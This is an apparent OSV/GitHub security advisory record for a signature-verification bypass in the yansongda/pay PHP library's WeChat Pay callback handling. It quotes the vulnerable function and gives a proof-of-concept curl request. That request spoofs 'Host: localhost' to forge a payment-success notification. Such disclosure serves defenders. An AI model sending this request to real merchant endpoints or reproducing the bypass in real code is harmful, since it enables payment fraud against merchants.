{"id":"GHSA-q938-ghwv-8gvc","aliases":["CVE-2026-33661"],"title":"WeChat Pay callback signature verification bypassed when Host header is localhost","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"HIGH","description":"## Summary\n\nThe `verify_wechat_sign()` function in `src/Functions.php` unconditionally **skips all signature verification** when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely.\n\nThis allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.\n\n## Vulnerable Code\n\n**`src/Functions.php` lines 243-246:**\n```php\nfunction verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void\n{\n    // BYPASS: Returns without any signature check if Host header is localhost\n    if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) {\n        return;  // No signature verified!\n    }\n\n    // ... openssl_verify() only reached when Host != localhost\n    $wechatSerial = $message->getHeaderLine('Wechatpay-Serial');\n    $sign = $message->getHeaderLine('Wechatpay-Signature');\n    $result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption');\n}\n```\n\nIn PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), `$request->getUri()->getHost()` reads the `Host` HTTP header, which is fully attacker-controlled.\n\n## Proof of Concept\n\n```bash\ncurl -X POST https://merchant.example.com/payment/wechat/callback \\\n  -H \"Host: localhost\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Wechatpay-Serial: any\" \\\n  -H \"Wechatpay-Timestamp: 1234567890\" \\\n  -H \"Wechatpay-Nonce: abc\" \\\n  -H \"Wechatpay-Signature: AAAA\" \\\n  -d '{\"id\":\"fake-order\",\"event_type\":\"TRANSACTION.SUCCESS\"}'\n```\n\n`verify_wechat_sign()` returns immediately without verifying the signature. The application marks the order as paid.\n\n## Impact\n\n- **Payment fraud**: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks\n- **No authentication required**: Pure network attack, zero privileges needed\n- **Wide reach**: Affects any application using `yansongda/pay` for WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.","severity":"high","score":8.6,"published":"2026-03-25T19:30:09.000Z","modified":"2026-03-27T22:17:43.058Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"yansongda/pay","sources":[{"name":"OSV · GHSA-q938-ghwv-8gvc","url":"https://osv.dev/vulnerability/GHSA-q938-ghwv-8gvc"}],"ranges":[{"events":[{"introduced":"0"},{"fixed":"3.7.20"}],"type":"ECOSYSTEM"}],"versions":["v0.5.0","v0.5.1","v0.5.2","v0.5.3","v0.5.4","v0.5.5","v0.6.0","v0.6.1","v0.6.2","v1.0.0","v1.0.1","v1.1.1","v1.2.0","v1.2.1","v1.2.2","v1.2.3","v1.2.4","v1.3.0","v1.3.0-beta","v1.3.1","v1.3.2","v1.3.3","v1.3.4","v1.3.5","v1.3.6","v2.0.0","v2.0.0-beta","v2.0.1","v2.0.10","v2.0.11","v2.0.12","v2.0.13","v2.0.14","v2.0.15","v2.0.16","v2.0.17","v2.0.18","v2.0.19","v2.0.2","v2.0.20","v2.0.21","v2.0.22","v2.0.3","v2.0.4","v2.0.5","v2.0.6","v2.0.7","v2.0.8","v2.0.9","v2.1.0","v2.1.0-beta","v2.1.0-beta.1","v2.1.0-beta.2","v2.1.1","v2.1.2","v2.10.0","v2.10.0-beta.0","v2.10.1","v2.10.2","v2.10.3","v2.10.4","v2.10.5","v2.10.6","v2.2.0","v2.2.1","v2.2.2","v2.2.3","v2.3.0","v2.3.1","v2.3.2","v2.4.0","v2.4.0-beta","v2.4.0-beta.3","v2.4.0-beta1","v2.4.0-beta2","v2.4.1","v2.4.2","v2.4.3","v2.4.4","v2.5.0","v2.5.0-beta","v2.5.1","v2.5.2","v2.5.3","v2.5.4","v2.5.5","v2.5.6","v2.5.7","v2.5.8","v2.5.9","v2.6.0","v2.6.0-beta","v2.6.0-beta.1","v2.6.0-beta.2","v2.6.0-beta.3","v2.6.1","v2.6.2","v2.7.0","v2.7.1","v2.7.2","v2.7.3","v2.7.4","v2.7.5","v2.7.6","v2.7.7","v2.7.8","v2.8.0","v2.8.0-beta.0","v2.8.1","v2.8.2","v2.8.2-beta.0","v2.8.3","v2.8.4","v2.8.5","v2.8.6","v2.9.0","v2.9.0-beta.0","v2.9.0-beta.1","v2.9.0-beta.2","v2.9.1","v2.9.2","v2.9.3","v2.9.4","v2.9.5","v3.0.0","v3.0.0-alpha.0","v3.0.0-alpha.1","v3.0.0-alpha.10","v3.0.0-alpha.2","v3.0.0-alpha.3","v3.0.0-alpha.4","v3.0.0-alpha.5","v3.0.0-alpha.6","v3.0.0-alpha.7","v3.0.0-alpha.8","v3.0.0-alpha.9","v3.0.0-beta.0","v3.0.0-beta.1","v3.0.0-beta.10","v3.0.0-beta.2","v3.0.0-beta.3","v3.0.0-beta.4","v3.0.0-beta.5","v3.0.0-beta.6","v3.0.0-beta.7","v3.0.0-beta.8","v3.0.0-beta.9","v3.0.0-rc.0","v3.0.0-rc.1","v3.0.0-rc.2","v3.0.1","v3.0.10","v3.0.11","v3.0.12","v3.0.13","v3.0.14","v3.0.15","v3.0.16","v3.0.17","v3.0.18","v3.0.19","v3.0.2","v3.0.20","v3.0.21","v3.0.22","v3.0.23","v3.0.24","v3.0.25","v3.0.26","v3.0.27","v3.0.3","v3.0.4","v3.0.5","v3.0.6","v3.0.7","v3.0.8","v3.0.9","v3.1.0","v3.1.0-beta.0","v3.1.0-beta.1","v3.1.0-rc.0","v3.1.1","v3.1.10","v3.1.11","v3.1.12","v3.1.2","v3.1.3","v3.1.4","v3.1.5","v3.1.6","v3.1.7","v3.1.8","v3.1.9","v3.2.0","v3.2.1","v3.2.10","v3.2.11","v3.2.12","v3.2.13","v3.2.14","v3.2.2","v3.2.3","v3.2.4","v3.2.5","v3.2.6","v3.2.7","v3.2.8","v3.2.9","v3.3.0","v3.3.0-alpha.0","v3.3.0-alpha.1","v3.3.0-alpha.2","v3.3.0-alpha.3","v3.3.0-beta.0","v3.3.0-beta.1","v3.3.0-beta.2","v3.3.0-beta.3","v3.3.1","v3.4.0","v3.4.1","v3.4.2","v3.5.0","v3.5.1","v3.5.2","v3.5.3","v3.6.0","v3.6.0-beta.0","v3.6.0-beta.1","v3.6.1","v3.6.2","v3.6.3","v3.6.4","v3.6.5","v3.7.0","v3.7.1","v3.7.10","v3.7.11","v3.7.12","v3.7.13","v3.7.14","v3.7.15","v3.7.16","v3.7.17","v3.7.18","v3.7.19","v3.7.2","v3.7.3","v3.7.4","v3.7.5","v3.7.6","v3.7.7","v3.7.8","v3.7.9"],"fixed":["3.7.20"]}],"sourceAffected":[],"references":["https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc","https://nvd.nist.gov/vuln/detail/CVE-2026-33661","https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f","https://github.com/yansongda/pay","https://github.com/yansongda/pay/releases/tag/v3.7.20"],"sources":[{"name":"OSV","id":"GHSA-q938-ghwv-8gvc","modified":"2026-03-27T22:17:43.058715Z","url":"https://osv.dev/vulnerability/GHSA-q938-ghwv-8gvc"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","score":8.6}],"products":[],"remediation":[],"kev":{"status":"not-listed","checkedAt":"2026-10-28T22:05:31.879Z"},"coverage":[{"source":"NVD","status":"not-checked"},{"source":"GHSA","status":"not-checked"},{"source":"EUVD","status":"not-checked"},{"source":"EPSS","status":"not-checked"}],"evidence":[]}